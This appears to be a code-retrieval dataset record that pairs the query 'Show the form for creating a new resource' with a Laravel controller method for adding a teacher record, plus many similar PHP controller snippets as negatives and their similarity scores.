[ "0.7446777", "0.736227", "0.73005503", "0.72478926", "0.71631265", "0.71489686", "0.7131636", "0.7105969", "0.71029514", "0.7101372", "0.70508176", "0.6995128", "0.69890636", "0.6934895", "0.6900203", "0.6899281", "0.6891734", "0.6887235", "0.68670005", "0.6849741", "0.6830523", "0.6802689", "0.6797", "0.67957735", "0.67871135", "0.6760129", "0.67427456", "0.6730486", "0.67272323", "0.67255723", "0.67255723", "0.67255723", "0.67177945", "0.6707866", "0.6706713", "0.6704375", "0.6664782", "0.6662871", "0.6660302", "0.6659404", "0.6656656", "0.6653517", "0.6647965", "0.6620322", "0.66185474", "0.6618499", "0.6606105", "0.6600617", "0.65996987", "0.6594775", "0.6587389", "0.6585109", "0.6581641", "0.6581017", "0.6577157", "0.65747666", "0.6572513", "0.65721947", "0.6570553", "0.65646994", "0.6563556", "0.6554194", "0.65529937", "0.65460825", "0.65368485", "0.653429", "0.65328294", "0.6526759", "0.6526695", "0.6526284", "0.65191334", "0.65183175", "0.65174305", "0.651703", "0.65141153", "0.6507088", "0.65061647", "0.6504046", "0.64942145", "0.6491893", "0.64883405", "0.6486392", "0.6485077", "0.64846045", "0.6478858", "0.64756656", "0.64726377", "0.6471126", "0.64701074", "0.6467418", "0.6462195", "0.64618355", "0.6459199", "0.6457831", "0.6454631", "0.64533997", "0.6451915", "0.6450861", "0.6449301", "0.64492667", "0.64469045" ]
0.0
-1
Show the form for creating a new resource.
public function create() { $jk =['1'=>'Laki-laki','2'=>'Perempuan']; $userAvailable = User::where('role','guru')->doesntHave('guru')->get(); $agama = [1=>"Islam",2=>"Protestan",3=>"Katolik",4=>"Himdu", 5=>"Budha"]; $listUserAvailable = $userAvailable->pluck('username','id'); return view('admin.guru.tambah',compact('jk','listUserAvailable','agama')); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function create()\n {\n return $this->showForm('create');\n }", "public function create()\n {\n return $this->showForm('create');\n }", "public function create()\n {\n return view('admin.resources.create');\n }", "public function create(){\n\n return view('resource.create');\n }", "public function create()\n\t{\n\t\treturn $this->showForm('create');\n\t}", "public function create()\n {\n return \"Display a form for creating a new catalogue\";\n }", "public function newAction()\n {\n $entity = new Resource();\n $current = $this->get('security.context')->getToken()->getUser();\n $entity->setMember($current);\n $form = $this->createCreateForm($entity);\n\n return array(\n 'nav_active'=>'admin_resource',\n 'entity' => $entity,\n 'form' => $form->createView(),\n );\n }", "public function create()\n {\n return view ('forms.create');\n }", "public function create ()\n {\n return view('forms.create');\n }", "public function create()\n\t{\n\t\treturn view('faith.form');\n\t}", "public function create(NebulaResource $resource): View\n {\n $this->authorize('create', $resource->model());\n\n return view('nebula::resources.create', [\n 'resource' => $resource,\n ]);\n }", "public function create()\n {\n return view(\"request_form.form\");\n }", "public function create()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.create\")) {\n $view = \"admin.{$this->name}.create\";\n } else {\n $view = 'admin.includes.actions.create';\n }\n\n /* Show the form for creating a new resource. */\n return view($view)\n ->with('name', $this->name);\n }", "public function newAction()\n\t{\n\t\t$this->render( View::make( 'schools/form' , array(\n\t\t\t'title' => 'Ajouter une nouvelle &eacute;cole'\n\t\t) ) );\n\t}", "public function create()\n {\n return view($this->forms . '.create');\n }", "public function create()\n {\n return view('restful.add');\n }", "public function create()\n {\n $resource = (new AclResource())->AclResource;\n\n //dd($resource);\n return view('Admin.acl.role.form', [\n 'resource' => $resource\n ]);\n }", "public function create()\n {\n return view('admin.createform');\n }", "public function create()\n {\n return view('admin.forms.create');\n }", "public function create()\n {\n return view('backend.student.form');\n }", "public function newAction()\n {\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem('Inicio', $this->get('router')->generate('admin.homepage'));\n $breadcrumbs->addItem($this->entityDescription, $this->get(\"router\")->generate(\"admin.$this->entityName.index\"));\n $breadcrumbs->addItem('Nuevo');\n\n $entity = $this->getManager()->create();\n $form = $this->getForm($entity);\n\n return $this->render('AdminBundle:Default:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'metadata' => $this->getMetadata()\n ));\n }", "public function create()\n {\n return view('client.form');\n }", "public function create()\n {\n // Nos regresa la vista del formulario\n return view('project.form');\n }", "public function create()\n {\n return view('Form');\n }", "public function newAction(){\n \n $entity = new Resourceperson();\n $form = $this->createAddForm($entity);\n\n \n return $this->render('ABCRspBundle:rsp:add.html.twig',array('entity'=>$entity,'form'=> $form->createView()));\n }", "public function createForm()\n\t{\n\t\treturn view('post.new');\n\t}", "public function create()\n {\n return view('admin.form.create', ['form' => new Form]);\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n return view('form');\n }", "public function create()\n {\n $title = $this->title;\n $subtitle = \"Adicionar cliente\";\n\n return view('admin.clients.form', compact('title', 'subtitle'));\n }", "public function create()\n {\n return view('backend.schoolboard.addform');\n }", "public function create()\n\t{\n\t\treturn view('info.forms.createInfo');\n\t}", "public function create()\n {\n //\n return view('form');\n }", "public function create()\n {\n return view('rests.create');\n }", "public function create()\n {\n return $this->showForm();\n }", "public function create()\n {\n return $this->showForm();\n }", "public function create()\n {\n return view(\"Add\");\n }", "public function create(){\n return view('form.create');\n }", "public function create()\n {\n // Show the page\n return view('admin.producer.create_edit');\n }", "public function create()\n {\n\n return view('control panel.student.add');\n\n }", "public function newAction() {\n\t\t\n\t\t$this->view->form = $this->getForm ( \"/admin/invoices/process\" );\n\t\t$this->view->title = $this->translator->translate(\"New Invoice\");\n\t\t$this->view->description = $this->translator->translate(\"Create a new invoice using this form.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"#\", \"label\" => $this->translator->translate('Save'), \"params\" => array('css' => null,'id' => 'submit')),\r\n\t\t\t\t\t\t\t array(\"url\" => \"/admin/invoices/list\", \"label\" => $this->translator->translate('List'), \"params\" => array('css' => null)));\n\t\t$this->render ( 'applicantform' );\n\t}", "public function create()\n {\n $data['action'] = 'pengiriman.store';\n return view('pengiriman.form', $data);\n }", "public function create()\n {\n return $this->cView(\"form\");\n }", "public function newAction()\n {\n // Création de l'entité et du formulaire.\n $client = new Client();\n $formulaire = $this->createForm(new ClientType(), $client);\n \n \n \n // Génération de la vue.\n return $this->render('KemistraMainBundle:Client:new.html.twig',\n array('formulaire' => $formulaire->createView()));\n }", "public function create()\n {\n return view(\"dresses.form\");\n }", "public function create()\n\t{\n\t\treturn View::make('new_entry');\n\t}", "public function createAction()\n {\n// $this->view->form = $form;\n }", "public function create()\n {\n return view('bank_account.form', ['mode' => 'create']);\n }", "public function create()\n {\n return view('fish.form');\n }", "public function create()\n {\n return view('users.forms.create');\n }", "public function create()\n {\n $this->setFormFields($this->getCreateFormFields());\n $form = $this->getCreateForm();\n\n return view($this->getViewName('create'), [\n 'crudSlug' => $this->slug,\n 'form' => $form,\n ]);\n }", "public function create()\n\t{\n\t\treturn view('admin.estadoflete.new');\n\t}", "public function create()\n {\n $person = new Person;\n return view('contents.personform')->with(compact('person') );\n }", "public function createAction(){\n \t$this->view->placeholder('title')->set('Create');\n \t$this->_forward('form');\n }", "public function create()\n {\n Gate::authorize('app.products.create');\n\n return view('backend.products.form');\n }", "public function create()\n {\n return view('essentials::create');\n }", "public function create()\n {\n return view('student.add');\n }", "public function create()\n\t{\n\t\treturn view('loisier/create');\n\t}", "public function create()\n {\n return view('url.form');\n }", "public function newAction()\n {\n $entity = new Facture();\n $factureType = new FactureType();\n\t\t$factureType->setUser($this->get('security.context')->getToken()->getUser());\n $form = $this->createForm($factureType, $entity);\n\n return $this->render('chevPensionBundle:Facture:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function newAction()\n {\n $entity = new Chofer();\n $form = $this->createForm(new ChoferType(), $entity, ['user' => $this->getUser()]);\n\n return $this->render('ChoferesBundle:Chofer:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'css_active' => 'chofer',\n ));\n }", "public function create()\n\t{\n\t\treturn View::make('crebos.create');\n\t}", "public function create() : View\n {\n $fieldset = $this->menuFieldset();\n\n return $this->view('create', [\n 'title' => trans('addons.Aardwolf::titles.create'),\n 'data' => [],\n 'fieldset' => $fieldset->toPublishArray(),\n 'suggestions' => [],\n 'submitUrl' => route('aardwolf.postCreate')\n ]);\n }", "public function create()\n {\n return view('libro.create');\n }", "public function create()\n {\n return view('libro.create');\n }", "public function newAction()\n {\n $entity = new Species();\n $form = $this->createForm(new SpeciesType(), $entity);\n\n return $this->render('InfectBackendBundle:Species:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n return view('crud/add'); }", "public function create()\n\t{\n\t\treturn View::make('supplier.create');\n\t}", "public function newAction()\n {\n $entity = new Company();\n $form = $this->createForm(new CompanyType(), $entity);\n\n return $this->render('SiteSavalizeBundle:Company:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n return view(\"List.form\");\n }", "public function index_onCreateForm()\n\t{\n\t\tparent::create();\n\t\treturn $this->makePartial('create');\n\t}", "public function create()\n {\n //load create form\n return view('products.create');\n }", "public function create()\n {\n return view('article.addform');\n }", "public function create()\n {\n // Mengarahkan ke halaman form\n return view('buku.form');\n }", "public function create()\n\t{\n\t\t// load the create form (app/views/material/create.blade.php)\n\t\t$this->layout->content = View::make('material.create');\n\t}", "public function create()\n {\n return view('saldo.form');\n }", "public function create()\n\t\t{\n\t\t\treturn view('kuesioner.create');\n\t\t}", "public function view_create_questioner_form() {\n \t// show all questioner\n \t// send questioner to form\n \treturn view(\"create_questioner\");\n }", "public function newAction() {\n $entity = new Question();\n $form = $this->createCreateForm($entity);\n\n return $this->render('CdlrcodeBundle:Question:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "public function create()\n {\n $data['companies'] = Company::select('id', 'name')->where('status', 1)->orderBy('id', 'desc')->get();\n return view('admin.outlet.outlet_form', $data);\n }", "public function create()\n {\n return view('admin.inverty.add');\n }", "public function create()\n {\n return view('Libro.create');\n }", "public function create()\n {\n $title = trans('entry_mode.new');\n return view('layouts.create', compact('title'));\n }", "public function create()\n {\n $breadcrumb='car.create';\n return view('admin.partials.cars.form', compact('breadcrumb'));\n }", "public function create()\n {\n return view(\"familiasPrograma.create\");\n }", "public function create()\n {\n return view('admin.car.create');\n }", "public function create()\n {\n return view('admin.car.create');\n }", "public function create()\n\t{\n\t\treturn View::make('perusahaans.create');\n\t}", "public function create()\n {\n return view(\"create\");\n }", "public function create()\n\t{\n //echo 'show form';\n\t\treturn View::make('gaans.create');\n\t}", "public function create()\n {\n $title = trans('dormitorybed.new');\n $this->generateParams();\n\n return view('layouts.create', compact('title'));\n }", "public function create()\n {\n return view('forming');\n }", "public function formNew() {\n $this->data->options = array(\n 'RJ' => 'Rio de Janeiro',\n 'MG' => 'Minas Gerais',\n 'SP' => 'São Paulo',\n 'ES' => 'Espírito Santo',\n 'BA' => 'Bahia',\n 'RS' => 'Rio Grande do Sul'\n );\n $this->data->action = \"@exemplos/pessoa/save\";\n $this->render();\n }", "public function create()\n {\n \t\n \treturn view('supplies.create');\n\n }", "public function createAction()\n {\n if ($form = $this->processForm()) {\n $this->setPageTitle(sprintf($this->_('New %s...'), $this->getTopic()));\n $this->html[] = $form;\n }\n }", "public function create()\n {\n $page_title = \"Add New\";\n return view($this->path.'create', compact('page_title'));\n }", "public function create()\n {\n // not sure what to do with the form since im\n // using ame partial for both create and edit\n return view('plants.create')->with('plant', new Plant);\n }", "public function create() {\n\t\t$title = 'Create | Show';\n\n\t\treturn view('admin.show.create', compact('title'));\n\t}", "public function create()\n {\n return view('student::students.student.create');\n }", "public function newAction(){\n\t\t$entity = new Reserva();\n\t\t$form = $this->createCreateForm($entity);\n\n\t\treturn $this->render('LIHotelBundle:Reserva:new.html.twig', array(\n\t\t\t'entity' => $entity,\n\t\t\t'form' => $form->createView(),\n\t\t));\n\t}" ]
[ "0.75948673", "0.75948673", "0.75863165", "0.7577412", "0.75727344", "0.7500887", "0.7434847", "0.7433956", "0.73892003", "0.73531085", "0.73364776", "0.73125", "0.7296102", "0.7281891", "0.72741455", "0.72424185", "0.7229325", "0.7226713", "0.7187349", "0.7179176", "0.7174283", "0.7150356", "0.71444064", "0.71442676", "0.713498", "0.71283126", "0.7123691", "0.71158516", "0.71158516", "0.71158516", "0.7112176", "0.7094388", "0.7085711", "0.708025", "0.70800644", "0.70571953", "0.70571953", "0.70556754", "0.70396435", "0.7039549", "0.7036275", "0.703468", "0.70305896", "0.7027638", "0.70265305", "0.70199823", "0.7018007", "0.7004984", "0.7003889", "0.7000935", "0.69973785", "0.6994679", "0.6993764", "0.6989918", "0.6986989", "0.6966502", "0.69656384", "0.69564354", "0.69518244", "0.6951109", "0.6947306", "0.69444615", "0.69423944", "0.6941156", "0.6937871", "0.6937871", "0.6936686", "0.69345254", "0.69318026", "0.692827", "0.69263744", "0.69242257", "0.6918349", "0.6915889", "0.6912884", "0.691146", "0.69103104", "0.69085974", "0.69040126", "0.69014287", "0.69012105", "0.6900397", "0.68951064", "0.6893521", "0.68932164", "0.6891899", "0.6891616", "0.6891616", "0.6889246", "0.68880934", "0.6887128", "0.6884732", "0.68822503", "0.68809193", "0.6875949", "0.68739206", "0.68739134", "0.6870358", "0.6869779", "0.68696856", "0.686877" ]
0.0
-1
Store a newly created resource in storage.
public function store(FormGuruRequest $request) { //return dd($request); $guru = new Guru(); $guru->nip = $request->nip; $guru->nama = $request->nama; $guru->tempat_lahir = $request->tempat_lahir; $guru->tgl_lahir = $request->tgl_lahir; $guru->agama = $request->agama; $guru->no_telepon = $request->no_telp; $guru->jenis_kelamin = $request->jenis_kelamin; $guru->status =1; $user = User::create([ 'username'=>$request->nip, 'password'=>bcrypt('loginsiastar'), 'role'=>'guru' ]); $user->guru()->save($guru); //$guru->save(); return redirect('/guru')->with('sukses','Data guru berhasil dibuat'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function store($data, Resource $resource);", "public function store()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'storeValidations')) {\n $this->request->validate($this->storeValidations());\n }\n\n /* Create a new resource */\n $resource = $this->model::create(Input::all());\n\n /* Redirect to newly created resource page */\n return redirect()\n ->route($this->name . '.edit', $resource->id)\n ->with(\n 'success',\n Lang::has($this->name . '.resource-created') ?\n $this->name . '.resource-created' :\n 'messages.alert.resource-created'\n );\n }", "public function store(CreateStorageRequest $request)\n {\n $this->storage->create($request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource created', ['name' => trans('product::storages.title.storages')]));\n }", "public function createStorage();", "public function store(StoreStorage $request)\n {\n $storage = Storage::create($request->all());\n $request->session()->flash('alert-success', 'Запись успешно добавлена!');\n return redirect()->route('storage.index');\n }", "public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }", "public function store(Request $request, NebulaResource $resource): RedirectResponse\n {\n $this->authorize('create', $resource->model());\n\n $validated = $request->validate($resource->rules(\n $resource->createFields()\n ));\n\n $resource->storeQuery($resource->model(), $validated);\n\n $this->toast(__(':Resource created', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }", "function storeAndNew() {\n $this->store();\n }", "public function store(Request $request)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $validator = Validator::make($request->all(), [\n 'content' => 'required|string',\n 'image_link' => 'sometimes|url',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), [], 400);\n }\n\n $resource = new Resource;\n $resource->user_id = $currentUser['id'];\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->image_link = $request->get('imageLink');\n $resource->video_link = $request->get('videoLink');\n $resource->file_link = $request->get('fileLink');\n $resource->audio_link = $request->get('audioLink');\n $resource->tags = collect($request->get('tags'))->implode('text', ',');\n $resource->is_public = 0;\n $resource->save();\n $data['resource'] = $resource;\n\n if ($request->get('programId')) {\n $this->addToProgram($resource, $request->programId);\n // event(new NewLearningPathResourcePublished($resource, $invitee));\n }\n\n User::find($currentUser['id'])->increment('points', 2);\n\n return APIHandler::response(1, \"New resource has been created\", $data, 201);\n }", "public function store()\n {\n if (!$this->id) { // Insert\n $this->insertObject();\n } else { // Update\n $this->updateObject();\n }\n }", "public function store()\n\t{\n\t\t\n\t\t//\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}", "public function store()\n\t{\n\t\t//\n\t}" ]
[ "0.72865677", "0.7145327", "0.71325725", "0.6640912", "0.66209733", "0.65685713", "0.652643", "0.65095705", "0.64490104", "0.637569", "0.63736665", "0.63657933", "0.63657933", "0.63657933", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437", "0.6342437" ]
0.0
-1
Display the specified resource.
public function show($id) { $guru = Guru::find($id)->load('user'); $jk = [1=>"Laki-laki",2=>"Perempuan"]; $agama = [1=>"Islam",2=>"Protestan",3=>"Katolik",4=>"Himdu", 5=>"Budha"]; return view('admin.guru.detailguru',compact('guru','jk','agama')); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function show(Resource $resource)\n {\n // not available for now\n }", "public function show(Resource $resource)\n {\n //\n }", "function Display($resource_name, $cache_id = null, $compile_id = null)\n {\n $this->_smarty->display($resource_name, $cache_id, $compile_id);\n }", "private function showResourceable($resourceable)\n {\n save_resource_url();\n\n return $this->view('resources.create_edit')\n ->with('resource', $resourceable)\n ->with('photos', $resourceable->photos)\n ->with('videos', $resourceable->videos)\n ->with('documents', $resourceable->documents);\n }", "function display($resource_name, $cache_id = null, $compile_id = null) {\n\t\t$this->_getResourceInfo($resource_name); // Saves resource info to a Smarty class var for debugging\n\t\t$_t3_fetch_result = $this->fetch($resource_name, tx_smarty_div::getCacheID($cache_id), $compile_id);\n if ($this->debugging) { // Debugging will have been evaluated in fetch\n require_once(SMARTY_CORE_DIR . 'core.display_debug_console.php');\n $_t3_fetch_result .= smarty_core_display_debug_console(array(), $this);\n }\n\t\treturn $_t3_fetch_result;\n\t}", "public function show(ResourceSubject $resourceSubject)\n {\n //\n }", "public function show(ResourceManagement $resourcesManagement)\n {\n //\n }", "public function viewEditResources()\n {\n $database = new Database();\n $id = $this->_params['id'];\n\n $resource = $database->getResourceById($id);\n\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n $this->_f3->set('Resource', $availableResource);\n\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function retrieve(Resource $resource);", "public function showResource($resouceable, $id)\n {\n $model_name = str_replace('-', ' ',ucwords($resouceable));\n $model_name = str_replace(' ', '',ucwords($model_name));\n\n $resource_type = 'App\\Models\\\\'.$model_name;\n $model = app($resource_type);\n $model = $model->find($id);\n\n return $this->showResourceable($model);\n }", "public function showAction(Ressource $ressource)\n {\n $deleteForm = $this->createDeleteForm($ressource);\n\n return $this->render('ressource/show.html.twig', array(\n 'ressource' => $ressource,\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function show(Dispenser $dispenser)\n {\n //\n }", "public function show($id)\n {\n $resource = Resource::find($id);\n dd($resource);\n }", "public function displayAction() {\n\t\tif(is_numeric($this->req_id)) {\n\t\t\tAPI::DEBUG(\"[DefaultController::displayAction()] Getting \" . $this->req_id, 1);\n\t\t\t$this->_view->data['info'] = $this->_model->get($this->req_id);\n\t\t\t$this->_view->data['action'] = 'edit';\n\n\t\t} else {\n\t\t\t$this->_view->data['action'] = 'new';\n\t\t}\n\t\t// auto call the hooks for this module/action\n\t\terror_log(\"Should Call: \" . $this->module .\"/\".$this->action.\"/\".\"controller.php\");\n\t\tAPI::callHooks($this->module, $this->action, 'controller', $this);\n\n\t\t$this->addModuleTemplate($this->module, 'display');\n\n\t}", "public function show(NebulaResource $resource, $item): View\n {\n $this->authorize('view', $item);\n\n return view('nebula::resources.show', [\n 'resource' => $resource,\n 'item' => $item,\n ]);\n }", "public function resource(string $resource, string $controller): void\n {\n $base = $this->plural($resource);\n $entity = '/{'.$resource.'}';\n\n $this->app->get($base, $controller.'@index');\n $this->app->post($base, $controller.'@store');\n $this->app->get($base.$entity, $controller.'@show');\n $this->app->patch($base.$entity, $controller.'@update');\n $this->app->delete($base.$entity, $controller.'@destroy');\n }", "function displayCustom($resource_name, $cache_id = null, $compile_id = null)\n\t{\n\t return $this->display(DotbAutoLoader::existingCustomOne($resource_name), $cache_id, $compile_id);\n\t}", "public function show($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.show\")) {\n $view = \"admin.{$this->name}.show\";\n } else {\n $view = 'admin.includes.actions.show';\n }\n\n /* Displays the specified resource page */\n return view($view)\n ->with('resource', $resource)\n ->with('name', $this->name);\n }", "public function show($id)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $rules = [\n 'id' => 'required|integer'\n ];\n\n $validator = Validator::make(['id' => $id], $rules);\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n $resource = $this->resourceRepository->fetchResource($id);\n $this->resourceRepository->storeView($id, $currentUser['id']);\n\n $data = [\n 'resource' => $resource,\n 'related_resources' => $this->resourceRepository->getResourcesRelatedTo($resource->id, $resource->mentoring_area_id)\n ];\n\n return APIHandler::response(1, \"Show Resource\", $data);\n }", "public function get(Resource $resource);", "public function showAction()\n {\n $model = $this->_getPhotoModel();\n $photo = $model->fetchEntry($this->getRequest()->getParam('id'));\n\n if (null === $photo) {\n return $this->_forward('notfound', 'error');\n }\n\n $this->view->auth = Zend_Auth::getInstance();\n $this->view->title = $photo->title;\n $this->view->photo = $photo;\n }", "public function show($id)\n {\n //\n $data=Resource::find($id);\n return view('resourceDetails',compact('data'));\n }", "function display() {\n\t\t$view = &$this->getView();\n\t\t$view->display();\n\t}", "public function show(ShowResourceRequest $request, $id)\n {\n // TODO: Implement show() method.\n }", "function show( $resource ){\n\n $where = \"reservation_status <> 'Pending' AND id = {$resource}\";\n $reservation = where( 'reservations', $where );\n $reservation = $reservation[0];\n\n return view('admin/reservation/preview_reservation', compact( 'reservation' ));\n}", "public function show()\n {\n if ($this->twig !== false) {\n $this->twigDefaultContext();\n if ($this->controller) {\n $this->controller->display($this->data);\n }\n echo $this->twig->render($this->twig_template, $this->data);\n } else {\n $filename = $this->findTemplatePath($this->template);\n require($filename);\n }\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function show(rc $rc)\n {\n //\n }", "public function show(Resolucion $resolucion)\n {\n //\n }", "public function showAction(furTexture $furTexture)\n {\n\n return $this->render('furtexture/show.html.twig', array(\n 'furTexture' => $furTexture,\n ));\n }", "public function show()\n\t{\n\t\t//\n\t}", "public function show()\n\t{\n\t\t//\n\t}", "public function show()\n\t{\n\t\t//\n\t}", "public function show(Resena $resena)\n {\n }", "public function edit(Resource $resource)\n {\n return view('admin.resources.edit', compact('resource'));\n }", "public function showAction() {\n $docId = $this->getParam('id');\n\n // TODO verify parameter\n\n $document = new Opus_Document($docId);\n\n $this->_helper->layout()->disableLayout();\n\n $this->view->doc = $document;\n $this->view->document = new Application_Util_DocumentAdapter($this->view, $document);\n }", "public function action_display()\r\n\t{\r\n\t\t$event = ORM::factory('event', array('id' => $this->request->param('id')));\r\n\t\r\n\t\tif ( ! $event->loaded())\r\n\t\t{\r\n\t\t\tNotices::error('event.view.not_found');\r\n\t\t\t$this->request->redirect(Route::url('event'));\r\n\t\t}\r\n\t\t\r\n\t\t// Can user view this event?\r\n\t\tif ( ! $this->user->can('event_view', array('event' => $event)))\r\n\t\t{\r\n\t\t\t// Error notification\r\n\t\t\tNotices::error('event.view.not_allowed');\r\n\t\t\t$this->request->redirect(Route::url('event'));\r\n\t\t}\r\n\t\t\r\n\t\t// Pass event data to the view class\r\n\t\t$this->view->event_data = $event;\r\n\t\t$this->view->user = 